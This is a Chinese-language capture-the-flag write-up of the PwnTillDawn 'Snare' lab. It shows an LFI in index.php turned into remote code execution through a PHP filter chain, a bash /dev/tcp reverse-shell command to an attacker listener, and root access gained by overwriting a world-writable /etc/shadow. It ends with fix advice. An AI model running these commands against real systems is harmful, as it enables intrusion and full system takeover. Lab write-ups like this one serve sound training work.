> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# PwnTillDawn — Snare (10.150.150.18) Writeup
- URL: https://taiwanding.com/pwntilldawn-snare-10-150-150-18-writeup/
- Published: 2026-03-24T09:10:03.000Z
- Updated: 2026-07-15T02:50:28.000Z
- Author: Kevin Chen
- Tags: pwntilldawn, CTF, #php filter, #php

📚 系列文章 · PwnTillDawn 靶機

1. ▸ Snare (10.150.150.18) （本篇）
2. [Portal (10.150.150.12)](https://taiwanding.com/pwntilldawn-portal-10-150-150-12-writeup/)
3. [ElMariachi-PC (10.150.150.69)](https://taiwanding.com/pwntilldawn-elmariachi-pc-10-150-150-69-writeup/)

> **平台**：[PwnTillDawn Online Battlefield](https://online.pwntilldawn.com/?ref=taiwanding.com) by [wizlynx group](https://www.wizlynxgroup.com/?ref=taiwanding.com)   
> **難度**：Easy   
> **作業系統**：Linux (Ubuntu 20.04) 

## 0x00 偵察

### Port Scan

使用 RustScan 快速掃描全 port，再接 nmap 細掃：

```bash
rustscan -a 10.150.150.18 -b 1000 -- -sC -sV

```

結果只開了兩個 port：

| Port | Service | Version                |
| ---- | ------- | ---------------------- |
| 22   | SSH     | OpenSSH 8.2p1 Ubuntu   |
| 80   | HTTP    | Apache 2.4.41 (Ubuntu) |

nmap 的 NSE script 抓到 HTTP title 做了重導向：

```
http-title: Welcome to my homepage!
Requested resource was /index.php?page=home

```

`index.php?page=home` 這個 URL pattern 非常可疑，`page` 參數很可能存在 **Local File Inclusion (LFI)** 漏洞。

## 0x01 Web 枚舉

### 目錄掃描

```bash
feroxbuster -u http://10.150.150.18/index.php?page= -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 5
```

發現關鍵路徑：

- `/includes/` — 目錄可列舉
- `/includes/a_config.php` — 回應 0 bytes（有 PHP 邏輯但無 HTML 輸出）
- `/includes/navigation.php`、`footer.php`、`head-tag-contents.php` 等模板檔案

## 0x02 LFI 確認與原始碼洩漏

### 基本 LFI 測試

直接嘗試路徑穿越讀取 `/etc/passwd`：

```bash
curl "http://10.150.150.18/index.php?page=../../../etc/passwd"

```

失敗，頁面正常回應但無檔案內容。

### PHP Filter 讀取原始碼

使用 `php://filter` wrapper 將 PHP 原始碼 base64 編碼後輸出：

```bash
curl "http://10.150.150.18/index.php?page=php://filter/convert.base64-encode/resource=index"

```

成功！解碼後取得 `index.php` 原始碼：

```php
<?php include("includes/a_config.php");?>
<!DOCTYPE html>
<html>
<head>
    <?php include("includes/head-tag-contents.php");?>
</head>
<body>
<?php include("includes/design-top.php");?>
<?php include("includes/navigation.php");?>

<div class="container" id="main-content">
<?php
if (empty($_GET)) {
    header('Location: /index.php?page=home');
} 
else {
    $page = $_GET['page'];
    include ($page. '.php');
}
?>
</div>
<?php include("includes/footer.php");?>
</body>
</html>

```

**關鍵發現：**

```php
$page = $_GET['page'];
include ($page. '.php');

```

使用者輸入的 `page` 參數**完全沒有任何過濾**，直接串接 `.php` 後綴後傳入 `include()`，這就是為什麼直接讀 `/etc/passwd` 會失敗——因為實際上嘗試 include 的是 `/etc/passwd.php`。

## 0x03 PHP Filter Chain RCE

### 為什麼傳統手法失敗

- **路徑穿越 + /etc/passwd**：`.php` 後綴導致路徑不存在
- **data:// wrapper**：需要 `allow_url_include=On`（預設 Off）
- **pearcmd.php trick**：目標未安裝 PEAR

### PHP Filter Chain Generator

2022 年 Synacktiv 發表了一個突破性技巧：透過串接大量 PHP iconv filter，可以從 `php://temp`（空資源）中「憑空」產生任意 PHP 程式碼，這個技巧：

- **不需要** `allow_url_include`
- **不需要** 伺服器上存在特定檔案
- **不受** `.php` 後綴影響（因為 resource 是 `php://temp`）

使用 [php\_filter\_chain\_generator](https://github.com/synacktiv/php%5Ffilter%5Fchain%5Fgenerator?ref=taiwanding.com) 生成 payload：

```bash
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

```

工具生成了一段超長的 `php://filter/...` chain，將其作為 `page` 參數的值，並附加 `&c=id` 測試：

```bash
curl --globoff -o - "http://10.150.150.18/index.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...<省略>...|convert.base64-decode/resource=php://temp&c=id" 2>/dev/null

```

回應中出現：

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

```

**RCE 達成！**

## 0x04 Reverse Shell

在攻擊機上開啟 listener：(Windows power shell)

```bash
ncat -lvnp 4444

```

透過 PHP Filter Chain RCE 送 reverse shell（需 URL encode）：

```bash
curl --globoff -s -o /dev/null "http://10.150.150.18/index.php?page=<FILTER_CHAIN>&c=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR_IP>%2F4444%200%3E%261%27"

```

成功接到 shell：

```
www-data@snare:/var/www/html$

```

## 0x05 FLAG1

```bash
www-data@snare:/$ ls /home/
snare

www-data@snare:/$ cat /home/snare/FLAG1.txt
Redacted
```

**FLAG1：`Redacted`**

## 0x06 提權至 Root

### 枚舉

```bash
www-data@snare:/$ ls -la /etc/shadow
-rwxrwxrwx 1 root shadow 1129 Nov 20  2020 /etc/shadow

```

`/etc/shadow` 的權限是 **777**——所有使用者都可以讀寫！這是一個嚴重的檔案權限配置錯誤。

### 覆寫 Root 密碼

生成新的密碼 hash：

```bash
openssl passwd -6 -salt xyz hacked123
# $6$xyz$83/UloSNcxbQq8O5DCPtPfZp...

```

由於 `sed -i` 需要在 `/etc/` 建立暫存檔（www-data 對目錄沒有寫入權限），改用 `cp` 搭配 `/tmp/` 中轉：

```bash
cp /etc/shadow /tmp/shadow.bak

sed 's|^root:[^:]*|root:$6$xyz$83/UloSNcxbQq8O5DCPtPfZp.37csnrtPIYRGAZaLwzNy/thRXazOTqB21HCfGVkBJxB.Nm/JLV8UdIw0KGOB.|' /tmp/shadow.bak > /tmp/shadow.new

cp /tmp/shadow.new /etc/shadow

su root
# 密碼: hacked123

```

```
root@snare:~# whoami
root

```

### FLAG2

```bash
root@snare:~# cat /root/FLAG2.txt
Redacted
```

**FLAG2：`Redacted`**

## 0x07 攻擊鏈總結

```
Web 偵察 → LFI (index.php?page=) 
    → PHP Filter 原始碼洩漏 
    → PHP Filter Chain RCE (Synacktiv) 
    → Reverse Shell (www-data) 
    → /etc/shadow 777 可寫 
    → 覆寫 Root 密碼 
    → Root!

```

### 漏洞清單

| # | 漏洞                   | 嚴重性      | 說明                                       |
| - | -------------------- | -------- | ---------------------------------------- |
| 1 | Local File Inclusion | High     | include($\_GET\['page'\] . '.php') 無任何過濾 |
| 2 | PHP Filter Chain RCE | Critical | 透過 iconv filter chain 從 LFI 達成 RCE       |
| 3 | /etc/shadow 權限錯誤     | Critical | 777 權限允許任意使用者讀寫                          |

### 修補建議

1. **LFI**：使用白名單驗證 `page` 參數，例如 `in_array($page, ['home', 'about', 'contact'])`
2. **PHP Filter Chain**：禁用不必要的 PHP wrapper（`php://filter`），或在 `php.ini` 中限制可用的 stream wrapper
3. **檔案權限**：`/etc/shadow` 應設為 `640`（`-rw-r-----`），僅 root 和 shadow 群組可讀

## 經驗分享

### 0x06:

這一步其實試了很多提權方法，甚至發現/etc/shadow可以讀，有嘗試本地破解密碼，但是失敗，結果竟然發現可以"寫"，所以就用替換密碼的方法。